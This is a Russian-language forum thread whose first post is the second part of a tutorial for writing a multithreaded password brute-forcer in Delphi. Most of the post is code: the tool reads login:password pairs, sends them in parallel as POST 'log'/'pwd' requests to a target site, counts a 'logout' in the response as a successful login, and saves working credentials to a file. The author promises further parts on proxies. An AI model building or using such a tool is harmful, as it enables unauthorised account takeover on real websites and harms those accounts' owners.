old_man |
Дата: Пятница, 04.11.2016, 08:48 | Сообщение # 1
|
Боец
Сообщений: 221
Статус: Offline
|
чтобы понять схему работы нашего будущего приложения попробуем всё представить: по нажатию на кнопку brute, программа должна начать вызывать нужное количество раз потоки (вызвать процедуру execute у потока). в свою очередь в процедуре execute должен стоять некий счётчик, который с каждым вызовом процедуры будет менять логин и пароль. тем самым мы получим много потоков, которые будут параллельно друг-другу посылать post - запросы на сервер, обрабатывать их и кидать их либо в goodfile, либо в badfile. теперь что касается данных файлов. кто не читал, обязательно прочтите о синхронизации потоков, т.к. её мы тут будем активно использовать, именно с помощью методов sinchronize и будут происходить все обращения (записывание) к (в) файлам(ы).
я надеюсь что общий принцип понятен. а если нет, то станет понятен во время работы. поехали[1]. первым делом создадим новый проект (дабы не насиловать исходники старого, да и память освежить всегда полезно). на форме у нас несколько меток (login ass, good, bad, и 2 счётчика для good-ов и bad-ов). так же компонент updown, привязанный к edit1, кнопка открытия файла, кнопка brute, и memo для записи в него отчётов. теперь идём дальше, как обычно сначала обработаем кнопку загрузки файла: код: procedure tform1.button1click(sender: tobject); var op: topendialog; //переменная типа topendialog begin op:= topendialog.create(opendialog1); // инициализируем переменную op:= opendialog1; //привязываем к компоненту
if op.execute then //если диалог вызван, то lp.loadfromfile(op.filename); //в stringlist pl выгружаем данные из файла открытого в диалоге
end; надо понимать переменную lp класса tstringlist мы должны создать и инициализировать заранее (инициализация в событии создания формы - oncreate).
так, теперь создадим поток: код: type mythread = class(tthread) private //приватные переменные потока для извлечения логинов и паролей logpath: string; //извлечение логина paspath: string; //извлечение пароля res: integer; //переменная результата (результат - или брут успешен, или нет) public constructor create(createsuspended: boolean); //конструктор потока procedure synch; // процедура синхронизации protected procedure execute; override; //процедура execute end; а теперь по-порядку. приватные переменные созданы для извлечения логина и пароля, а так же для контроля результата. кто читал первую часть статьи про написание brute, тот помнит, что логины и пароли мы делили с помощью свойств массива stringlist, в частности delimiter и delimitertext. сейчас же, что бы не засорять код и не плодить лишние переменные, будем разделять логины и пароли стандартными строковыми функциями, а ложить результат как раз в эти 2 переменные: logpath и paspath.
переменная же res будет служить счётчиком результата. т.е. если брут прошёл успешно и запрос вернул нам положительный результат, то в переменную res мы положим какое-либо значение, например цифру 1. если брут не успешен, то цифру -1. в итоге мы обработаем эти значения, и в соответствии с ними предпримем какие-либо действия (например если результат равен 1 - то в файл good.txt будет ложиться логин и пароль).
теперь что такое конструктор потока? в данном случае у нас конструктор события create. это что-то вроде свойства create у формы, т.е. что мы пропишем в обработчик конструктора, то и выполнится при создании потока. сразу его пропишем: код: constructor mythread.create(createsuspended: boolean);
begin inherited create(createsuspended); end; процедура synch будет служить процедурой синхронизации (вопросы что да на(МАТ) зачем оставь при себе, надо было читать предыдущие статьи. в частности синхронизацию потоков я описывал до этого).
вроде разобрались с объявление потока. теперь создадим обработчик события onclick на кнопке brute! и напишем там следующее: //добавляем глобальные переменные код: var goodfile, badfile: textfile; acc, thread: integer; work: boolean;
//процедура onclick кнопки brute!: procedure tform1.button2click(sender: tobject); begin assignfile(goodfile, extractfilepath(application.exename)+'good.txt' ; //привязываем переменную goodfile к пути проекта+good.txt rewrite(goodfile); //записываем goodfile closefile(goodfile); //закрываем goodfile
assignfile(badfile, extractfilepath(application.exename)+'bad.txt' ; //аналогично поступаем и с badfile rewrite(badfile); closefile(badfile);
acc:= -1; //переменная acc - отвечает за текущую строку в stringlist'е с логинами и паролями. ставим ей значение -1, т.к. в последующем она будет инкриментирована. work:= true; // work будет проверять, есть ли ещё не проверенные строки в stringlist'е и выдавать значение. если true- то поток продолжает работу. если false - то прекращает. label4.caption:= '0'; //счётчик good'ов label6.caption:= '0'; //счётчик bad'ов
for thread:=1 to strtoint(edit1.text) do //самый ответственный момент, запускаем потоки. потоки от одного, до кол-ва введённого пользователем. mythread.create(false); //запуск.
thread:= strtoint(edit1.text); //в переменную thread ложится количество потоков введённых пользователем (переменная становится счётчиком потоков) end;
procedure tform1.formcreate(sender: tobject); begin lp:= tstringlist.create; cs:= tcriticalsection.create; // об этом позже end; теперь ставим курсор на процедуру execute в потоке, нажимаем ctrl+shift+c и переходим на обработчик процедуры. там у нас будет обычный post-запрос с выдранным логином и паролем: код: procedure mythread.execute; var nast: integer; //переменная, обрабатывающая действующую строку с логином и паролем param: tstringlist; // параметры для post result: tstringlist; //переменная для проверки результата http: tidhttp; //переменная типа tidhttp begin inherited;
while work do //пока work=true делаем:
begin cs.enter; //вход в критическую секцию inc(acc); //инкриментируем переменную acc if acc < lp.count then nast:=acc else work:= false; //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false; cs.leave; //выход из критической секции
if work then //если work = true, то begin http:= tidhttp.create(nil); //инициализация переменной http как объект класса tidhttp logpath:= copy(lp[nast],1,pos(':',lp[nast])-1); //выдираем логин (внимание! вот это и есть то самое динамическое действие в потоке) paspath:= copy(lp[nast], pos(':', lp[nast])+1, length(lp[nast])); //выдираем пароль
result:= tstringlist.create; //типичный post-запрос param:= tstringlist.create; param.add('log='+logpath); param.add('pwd='+paspath); result.text:= http.post('сайт',param); if pos('logout',result.text) <> 0 then res:=1 else res:=-1; //если в массиве result есть значение 'logout', то res=1, иначе res=-1. http.free; //освобождаем переменную param.free; //освобождаем переменную synchronize(synch); // процедура synch синхронизирована с помощью метода synchronize
end;
end; dec(thread); // уменьшаем количество потоков на 1 if thread=0 then showmessage('брутфорс закончен' ; // если количество потоков = 0 тогда вызываем сообщение end; а теперь рассмотрим то, "о чём позже" - критические секции. тебя наверное заинтересовал этот код: код: cs.enter; //вход в критическую секцию inc(acc); //инкриментируем переменную acc if acc < lp.count then nast:=acc else work:= false; //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false; cs.leave; //выход из критической секции объясняю. при работе с потоками, когда работают параллельно несколько потоков, и работают они с одними и теми же переменными, обязательно надо использовать критические секции. это очень полезная вещь, которая к переменной в настоящий момент допускает лишь 1 поток. в нашем случае в критической секции значение переменной acc увеличивается на 1. но если потоки работают параллельно, и без этих секций, то acc (а эта переменная означает строку в stringlist'е) будет увеличиваться сразу на 1 несколько раз, в итоге потоки сработают неправильно, выдадут не верный результат. а критическая секция допускает 1 поток, пропускает его через себя, и лишь потом допускает второй. и ещё, либа критических секций прописывается в библиотеки отдельно, и зовётся он syncobjs. надеюсь общий принцип понятен. код: procedure mythread.synch; begin case res of // если res = 1: begin // 1, то: form1.label4.caption:= inttostr(strtoint(form1.label4.caption)+1); append(goodfile); // открываем для записи файл goodfile writeln(goodfile, logpath+':'+paspath); // записываем в него логин : пароль closefile(goodfile); // закрываем end; -1: begin form1.label6.caption:= inttostr(strtoint(form1.label6.caption)+1); append(badfile); // аналогично writeln(badfile, logpath+':'+paspath); closefile(badfile); end; end; end; в принципе и всё, работа многопоточного брута показана. в данном случае показан самый просто пример. если будет интерес, сделаю ещё 2-3 части, про прокси и про оптимизацию. спасибо за внимание.
Главное в жизни - не терять любопытства
|
|
|
|
Ksardas |
Дата: Понедельник, 22.05.2017, 22:37 | Сообщение # 3
|
Сообщений: 1311
Статус: Offline
|
Оформи нормально пожалуйста,ничего не понятно
|
|
|
|